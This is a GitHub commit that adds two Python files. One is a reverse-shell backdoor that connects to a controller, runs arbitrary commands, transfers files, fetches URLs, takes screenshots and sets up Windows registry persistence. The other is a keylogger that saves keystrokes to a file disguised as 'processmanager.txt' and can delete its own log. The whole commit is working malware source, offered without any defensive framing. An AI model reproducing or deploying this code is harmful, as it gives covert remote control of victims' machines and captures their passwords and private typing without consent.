Skip to content

Commit d75eb45

Browse files
authored
Backdoor and keylogger files
1 parent caa9087 commit d75eb45

File tree

2 files changed

+232
-0
lines changed

2 files changed

+232
-0
lines changed

backdoor/backdoor.py

Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
import socket
2+
import json
3+
import subprocess
4+
import time
5+
import os
6+
import pyautogui #dependency # pip install pyautogui #mss is faster alternative
7+
import keylogger
8+
import threading
9+
import shutil
10+
import sys
11+
import requests
12+
from sys import platform
13+
14+
def reliable_send(data):
15+
jsondata = json.dumps(data)
16+
s.send(jsondata.encode())
17+
18+
def reliable_recv():
19+
data = ''
20+
while True:
21+
try:
22+
data = data + s.recv(1024).decode().rstrip()
23+
return json.loads(data)
24+
except ValueError:
25+
continue
26+
27+
def download_file(file_name):
28+
f = open(file_name, 'wb')
29+
s.settimeout(2)
30+
chunk = s.recv(1024)
31+
while chunk:
32+
f.write(chunk)
33+
try:
34+
chunk = s.recv(1024)
35+
except socket.timeout as e:
36+
break
37+
s.settimeout(None)
38+
f.close()
39+
40+
def upload_file(file_name):
41+
f = open(file_name, 'rb')
42+
s.send(f.read())
43+
44+
def download_url(url):
45+
get_response = requests.get(url)
46+
file_name = url.split('/')[-1]
47+
with open(file_name, 'wb') as out_file:
48+
out_file.write(get_response.content)
49+
50+
def screenshot():
51+
myScreenshot = pyautogui.screenshot()
52+
myScreenshot.save('.screen.png')
53+
54+
def persist(reg_name, copy_name):
55+
file_location = os.environ['appdata'] + '\\' + copy_name
56+
try:
57+
if not os.path.exists(file_location):
58+
shutil.copyfile(sys.executable, file_location)
59+
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"', shell=True)
60+
reliable_send('[+] Created Persistence With Reg Key: ' + reg_name)
61+
else:
62+
reliable_send('[+] Persistence Already Exists')
63+
except:
64+
reliable_send('[-] Error Creating Persistence With The Target Machine')
65+
66+
def is_admin():
67+
global admin
68+
if platform == 'win32':
69+
try:
70+
temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp']))
71+
except:
72+
admin = '[!!] User Privileges!'
73+
else:
74+
admin = '[+] Administrator Privileges!'
75+
elif platform == "linux" or platform == "linux2" or platform == "darwin":
76+
pass
77+
#TO BE DONE
78+
79+
def shell():
80+
while True:
81+
command = reliable_recv()
82+
if command == 'quit':
83+
break
84+
elif command == 'background': #BEGIN
85+
pass
86+
elif command == 'help': #ideally to be removed
87+
pass
88+
elif command == 'clear':
89+
pass #END
90+
elif command[:3] == 'cd ':
91+
os.chdir(command[3:])
92+
elif command[:6] == 'upload':
93+
download_file(command[7:])
94+
elif command[:8] == 'download':
95+
upload_file(command[9:])
96+
elif command[:3] == 'get':
97+
try:
98+
download_url(command[4:])
99+
reliable_send('[+] Downloaded File From Specified URL!')
100+
except:
101+
reliable_send('[!!] Download Failed!')
102+
elif command[:10] == 'screenshot':
103+
screenshot()
104+
upload_file('.screen.png')
105+
os.remove('.screen.png')
106+
elif command[:12] == 'keylog_start':
107+
keylog = keylogger.Keylogger()
108+
t = threading.Thread(target=keylog.start)
109+
t.start()
110+
reliable_send('[+] Keylogger Started!')
111+
elif command[:11] == 'keylog_dump':
112+
logs = keylog.read_logs()
113+
reliable_send(logs)
114+
elif command[:11] == 'keylog_stop':
115+
keylog.self_destruct()
116+
t.join()
117+
reliable_send('[+] Keylogger Stopped!')
118+
elif command[:11] == 'persistence':
119+
reg_name, copy_name = command[12:].split(' ')
120+
persist(reg_name, copy_name)
121+
elif command[:7] == 'sendall':
122+
subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
123+
elif command[:5] == 'check':
124+
try:
125+
is_admin()
126+
reliable_send(admin + ' platform: ' + platform)
127+
except:
128+
reliable_send('Cannot Perform Privilege Check! Platform: ' + platform)
129+
elif command[:5] == 'start':
130+
try:
131+
subprocess.Popen(command[6:], shell=True)
132+
reliable_send('[+] Started!')
133+
except:
134+
reliable_send('[-] Failed to start!')
135+
else:
136+
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
137+
result = execute.stdout.read() + execute.stderr.read()
138+
result = result.decode()
139+
reliable_send(result)
140+
141+
def connection():
142+
while True:
143+
time.sleep(5)
144+
try:
145+
s.connect(('127.0.0.1', 5555))
146+
# if platform == 'win32': #TO BE DONE
147+
# persist(reg_name, copy_name)
148+
shell()
149+
s.close()
150+
break
151+
except:
152+
connection()
153+
154+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
155+
connection()

backdoor/keylogger.py

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
#Possibly requires Python3.7
2+
import os
3+
from pynput.keyboard import Listener #Dependency # pip install listener
4+
import time
5+
import threading
6+
from sys import platform
7+
8+
class Keylogger():
9+
keys = []
10+
count = 0
11+
flag = 0
12+
if platform == 'win32':
13+
path = os.environ['appdata'] +'\\processmanager.txt'
14+
#Windows path #cmd.exe> type AppData\Roaming\processmanager.txt
15+
#(Windows also supports >more command)
16+
elif platform == "linux" or platform == "linux2" or platform == "darwin":
17+
path = 'processmanager.txt'
18+
19+
def on_press(self, key):
20+
self.keys.append(key)
21+
self.count += 1
22+
23+
if self.count >= 1:
24+
self.count = 0
25+
self.write_file(self.keys)
26+
self.keys = []
27+
28+
def read_logs(self):
29+
with open(self.path, 'rt') as f:
30+
return f.read()
31+
32+
def write_file(self, keys):
33+
with open(self.path, 'a') as f:
34+
for key in keys:
35+
k = str(key).replace("'", "")
36+
if k.find('backspace') > 0:
37+
f.write(' [BACKSPACE] ')
38+
elif k.find('enter') > 0:
39+
f.write('\n')
40+
# elif k.find('control') > 0: #doesn't currently work
41+
# f.write(' [CTRL] ')
42+
elif k.find('shift') > 0:
43+
f.write(' [SHIFT] ')
44+
elif k.find('space') > 0:
45+
f.write(' ')
46+
elif k.find('caps_lock') > 0:
47+
f.write(' [CAPS_LOCK] ')
48+
elif k.find('Key'):
49+
f.write(k)
50+
51+
def self_destruct(self):
52+
self.flag = 1
53+
listener.stop()
54+
#self.overwrite_file(self.path)
55+
os.remove(self.path)
56+
57+
def overwrite_file(self):
58+
print('keylog file path: ' + self.path) #to test this is calling correctly
59+
with open(self.path, 'w') as f:
60+
f.write('\n')
61+
#This section should overwrite the keylog file
62+
63+
def start(self):
64+
global listener
65+
with Listener(on_press=self.on_press) as listener:
66+
listener.join()
67+
68+
if __name__ == '__main__':
69+
keylog = Keylogger()
70+
t = threading.Thread(target=keylog.start)
71+
t.start()
72+
while keylog.flag != 1:
73+
time.sleep(10)
74+
logs = keylog.read_logs()
75+
print(logs)
76+
#keylog.self_destruct()
77+
t.join()

0 commit comments

Comments
 (0)